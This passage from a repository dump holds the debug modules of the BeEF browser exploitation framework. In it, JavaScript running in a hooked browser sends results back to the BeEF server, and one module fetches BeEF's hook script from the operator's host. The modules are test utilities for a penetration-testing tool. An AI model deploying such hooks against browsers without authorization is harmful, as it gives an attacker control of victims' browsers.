    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_http_redirect < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_redirect('https://beefproject.com', '/redirect')\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_network_request/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar scheme = \"<%= @scheme %>\";\n\tvar method = \"<%= @method %>\";\n\tvar domain = \"<%= @domain %>\";\n\tvar port = \"<%= @port %>\";\n\tvar path = \"<%= @path %>\";\n\tvar anchor = \"<%= @anchor %>\";\n\tvar data = \"<%= @data %>\";\n\tvar timeout = \"<%= @timeout %>\";\n\tvar dataType = \"<%= @dataType %>\";\n\n\tbeef.net.request(scheme, method, domain, port, path, anchor, data, timeout, dataType, function(response) { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, JSON.stringify(response)); } );\n\n});\n\n"
  },
  {
    "path": "modules/debug/test_network_request/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_network_request:\n            enable: true\n            category: \"Debug\"\n            name: \"Test Network Request\"\n            description: \"Test the beef.net.request function by retrieving a URL.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/debug/test_network_request/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_network_request < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['response'] = @datastore['response']\n    save content\n  end\n\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    hook_path = @configuration.get('beef.http.hook_file')\n\n    [\n      { 'name' => 'scheme', 'ui_label' => 'Scheme', 'type' => 'text', 'width' => '400px', 'value' => 'http' },\n      { 'name' => 'method', 'ui_label' => 'Method', 'type' => 'text', 'width' => '400px', 'value' => 'GET' },\n      { 'name' => 'domain', 'ui_label' => 'Domain', 'type' => 'text', 'width' => '400px', 'value' => beef_host },\n      { 'name' => 'port', 'ui_label' => 'Port', 'type' => 'text', 'width' => '400px', 'value' => beef_port },\n      { 'name' => 'path', 'ui_label' => 'Path', 'type' => 'text', 'width' => '400px', 'value' => hook_path },\n      { 'name' => 'anchor', 'ui_label' => 'Anchor', 'type' => 'text', 'width' => '400px', 'value' => 'irrelevant' },\n      { 'name' => 'data', 'ui_label' => 'Query String', 'type' => 'text', 'width' => '400px', 'value' => 'query=data' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '10', 'width' => '400px' },\n      { 'name' => 'dataType', 'ui_label' => 'Data Type', 'type' => 'text', 'width' => '400px', 'value' => 'script' }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_return_ascii_chars/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var str = '';\n    for (var i=32; i<=127;i++) str += String.fromCharCode(i);\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, str, beef.are.status_success());\n    //return [beef.are.status_success(), str];\n    test_return_ascii_chars_mod_output = [beef.are.status_success(), str];\n});\n\n"
  },
  {
    "path": "modules/debug/test_return_ascii_chars/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        test_return_ascii_chars:\n            enable: true\n            category: \"Debug\"\n            name: \"Return Ascii Chars\"\n            description: \"This module will return the set of ascii chars.\"\n            authors: [\"wade\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/debug/test_return_ascii_chars/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Test_return_ascii_chars < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Result String'] = @datastore['result_string']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/debug/test_return_image/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"image=data:image/png;base64,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